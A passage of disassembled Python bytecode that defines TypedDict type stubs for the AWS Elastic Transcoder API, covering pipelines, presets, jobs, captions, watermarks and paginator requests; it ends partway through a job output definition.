LOAD_CONST 'ListJobsByStatusRequestRequestTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Status', 'Ascending', 'PageToken') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByStatusRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPipelinesRequestRequestTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Ascending', 'PageToken') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPipelinesRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPresetsRequestRequestTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Ascending', 'PageToken') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPresetsRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'PermissionPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('GranteeType', 'Grantee', 'Access') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PermissionPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'PermissionTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('GranteeType', 'Grantee', 'Access') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PermissionTypeDef LOAD_NAME TypedDict LOAD_CONST 'PresetWatermarkTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Id', 'MaxWidth', 'MaxHeight', 'SizingPolicy', 'HorizontalAlign', 'HorizontalOffset', 'VerticalAlign', 'VerticalOffset', 'Opacity', 'Target') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PresetWatermarkTypeDef LOAD_NAME TypedDict LOAD_CONST 'WaiterConfigTypeDef' LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('Delay', 'MaxAttempts') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME WaiterConfigTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadJobRequestRequestTypeDef' LOAD_CONST 'Id' LOAD_NAME str BUILD_MAP CALL_FUNCTION STORE_NAME ReadJobRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadPipelineRequestRequestTypeDef' LOAD_CONST 'Id' LOAD_NAME str BUILD_MAP CALL_FUNCTION STORE_NAME ReadPipelineRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadPresetRequestRequestTypeDef' LOAD_CONST 'Id' LOAD_NAME str BUILD_MAP CALL_FUNCTION STORE_NAME ReadPresetRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'TestRoleRequestRequestTypeDef' LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Role', 'InputBucket', 'OutputBucket', 'Topics') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME TestRoleRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'UpdatePipelineStatusRequestRequestTypeDef' LOAD_NAME str LOAD_NAME str LOAD_CONST ('Id', 'Status') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME UpdatePipelineStatusRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'ArtworkTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_CONST ('InputKey', 'MaxWidth', 'MaxHeight', 'SizingPolicy', 'PaddingPolicy', 'AlbumArtFormat', 'Encryption') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ArtworkTypeDef LOAD_NAME TypedDict LOAD_CONST 'CaptionFormatTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_CONST ('Format', 'Pattern', 'Encryption') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CaptionFormatTypeDef LOAD_NAME TypedDict LOAD_CONST 'CaptionSourceTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_CONST ('Key', 'Language', 'TimeOffset', 'Label', 'Encryption') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CaptionSourceTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobWatermarkTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_CONST ('PresetWatermarkId', 'InputKey', 'Encryption') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobWatermarkTypeDef LOAD_NAME TypedDict LOAD_CONST 'AudioParametersTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME AudioCodecOptionsTypeDef BINARY_SUBSCR LOAD_CONST ('Codec', 'SampleRate', 'BitRate', 'Channels', 'AudioPackingMode', 'CodecOptions') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME AudioParametersTypeDef LOAD_NAME TypedDict LOAD_CONST 'ClipTypeDef' LOAD_CONST 'TimeSpan' LOAD_NAME NotRequired LOAD_NAME TimeSpanTypeDef BINARY_SUBSCR BUILD_MAP CALL_FUNCTION STORE_NAME ClipTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreateJobPlaylistTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME HlsContentProtectionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PlayReadyDrmTypeDef BINARY_SUBSCR LOAD_CONST ('Name', 'Format', 'OutputKeys', 'HlsContentProtection', 'PlayReadyDrm') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreateJobPlaylistTypeDef LOAD_NAME TypedDict LOAD_CONST 'PlaylistTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME HlsContentProtectionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PlayReadyDrmTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Name', 'Format', 'OutputKeys', 'HlsContentProtection', 'PlayReadyDrm', 'Status', 'StatusDetail') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PlaylistTypeDef LOAD_NAME TypedDict LOAD_CONST 'TestRoleResponseTypeDef' LOAD_NAME str LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Success', 'Messages', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME TestRoleResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'UpdatePipelineNotificationsRequestRequestTypeDef' LOAD_NAME str LOAD_NAME NotificationsTypeDef LOAD_CONST ('Id', 'Notifications') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME UpdatePipelineNotificationsRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByPipelineRequestListJobsByPipelinePaginateTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PaginatorConfigTypeDef BINARY_SUBSCR LOAD_CONST ('PipelineId', 'Ascending', 'PaginationConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByPipelineRequestListJobsByPipelinePaginateTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByStatusRequestListJobsByStatusPaginateTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PaginatorConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Status', 'Ascending', 'PaginationConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByStatusRequestListJobsByStatusPaginateTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPipelinesRequestListPipelinesPaginateTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PaginatorConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Ascending', 'PaginationConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPipelinesRequestListPipelinesPaginateTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPresetsRequestListPresetsPaginateTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PaginatorConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Ascending', 'PaginationConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPresetsRequestListPresetsPaginateTypeDef LOAD_NAME TypedDict LOAD_CONST 'PipelineOutputConfigPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME PermissionPaginatorTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('Bucket', 'StorageClass', 'Permissions') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PipelineOutputConfigPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'PipelineOutputConfigTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME PermissionTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('Bucket', 'StorageClass', 'Permissions') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PipelineOutputConfigTypeDef LOAD_NAME TypedDict LOAD_CONST 'VideoParametersPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME PresetWatermarkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('Codec', 'CodecOptions', 'KeyframesMaxDist', 'FixedGOP', 'BitRate', 'FrameRate', 'MaxFrameRate', 'Resolution', 'AspectRatio', 'MaxWidth', 'MaxHeight', 'DisplayAspectRatio', 'SizingPolicy', 'PaddingPolicy', 'Watermarks') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME VideoParametersPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'VideoParametersTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME PresetWatermarkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('Codec', 'CodecOptions', 'KeyframesMaxDist', 'FixedGOP', 'BitRate', 'FrameRate', 'MaxFrameRate', 'Resolution', 'AspectRatio', 'MaxWidth', 'MaxHeight', 'DisplayAspectRatio', 'SizingPolicy', 'PaddingPolicy', 'Watermarks') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME VideoParametersTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadJobRequestJobCompleteWaitTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME WaiterConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Id', 'WaiterConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ReadJobRequestJobCompleteWaitTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobAlbumArtPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME ArtworkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('MergePolicy', 'Artwork') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobAlbumArtPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobAlbumArtTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME ArtworkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('MergePolicy', 'Artwork') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobAlbumArtTypeDef LOAD_NAME TypedDict LOAD_CONST 'CaptionsPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME CaptionSourceTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME CaptionFormatTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('MergePolicy', 'CaptionSources', 'CaptionFormats') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CaptionsPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CaptionsTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME CaptionSourceTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME CaptionFormatTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('MergePolicy', 'CaptionSources', 'CaptionFormats') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CaptionsTypeDef LOAD_NAME TypedDict LOAD_CONST 'InputCaptionsPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME CaptionSourceTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('MergePolicy', 'CaptionSources') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME InputCaptionsPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'InputCaptionsTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME CaptionSourceTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('MergePolicy', 'CaptionSources') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME InputCaptionsTypeDef LOAD_NAME TypedDict LOAD_CONST 'PipelinePaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME NotificationsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigPaginatorTypeDef BINARY_SUBSCR LOAD_CONST ('Id', 'Arn', 'Name', 'Status', 'InputBucket', 'OutputBucket', 'Role', 'AwsKmsKeyArn', 'Notifications', 'ContentConfig', 'ThumbnailConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PipelinePaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreatePipelineRequestRequestTypeDef' LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME NotificationsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Name', 'InputBucket', 'Role', 'OutputBucket', 'AwsKmsKeyArn', 'Notifications', 'ContentConfig', 'ThumbnailConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreatePipelineRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'PipelineTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME NotificationsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Id', 'Arn', 'Name', 'Status', 'InputBucket', 'OutputBucket', 'Role', 'AwsKmsKeyArn', 'Notifications', 'ContentConfig', 'ThumbnailConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PipelineTypeDef LOAD_NAME TypedDict LOAD_CONST 'UpdatePipelineRequestRequestTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME NotificationsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME PipelineOutputConfigTypeDef BINARY_SUBSCR LOAD_CONST ('Id', 'Name', 'InputBucket', 'Role', 'AwsKmsKeyArn', 'Notifications', 'ContentConfig', 'ThumbnailConfig') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME UpdatePipelineRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'PresetPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME AudioParametersTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME VideoParametersPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME ThumbnailsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Id', 'Arn', 'Name', 'Description', 'Container', 'Audio', 'Video', 'Thumbnails', 'Type') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PresetPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreatePresetRequestRequestTypeDef' LOAD_NAME str LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME VideoParametersTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME AudioParametersTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME ThumbnailsTypeDef BINARY_SUBSCR LOAD_CONST ('Name', 'Container', 'Description', 'Video', 'Audio', 'Thumbnails') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreatePresetRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'PresetTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME AudioParametersTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME VideoParametersTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME ThumbnailsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Id', 'Arn', 'Name', 'Description', 'Container', 'Audio', 'Video', 'Thumbnails', 'Type') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PresetTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobOutputPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME JobWatermarkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobAlbumArtPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME ClipTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME CaptionsPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Id', 'Key', 'ThumbnailPattern', 'ThumbnailEncryption', 'Rotate', 'PresetId', 'SegmentDuration', 'Status', 'StatusDetail', 'Duration', 'Width', 'Height', 'FrameRate', 'FileSize', 'DurationMillis', 'Watermarks', 'AlbumArt', 'Composition', 'Captions', 'Encryption', 'AppliedColorSpaceConversion') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobOutputPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreateJobOutputTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME JobWatermarkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobAlbumArtTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME ClipTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME CaptionsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_CONST ('Key', 'ThumbnailPattern', 'ThumbnailEncryption', 'Rotate', 'PresetId', 'SegmentDuration', 'Watermarks', 'AlbumArt', 'Composition', 'Captions', 'Encryption') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreateJobOutputTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobOutputTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str 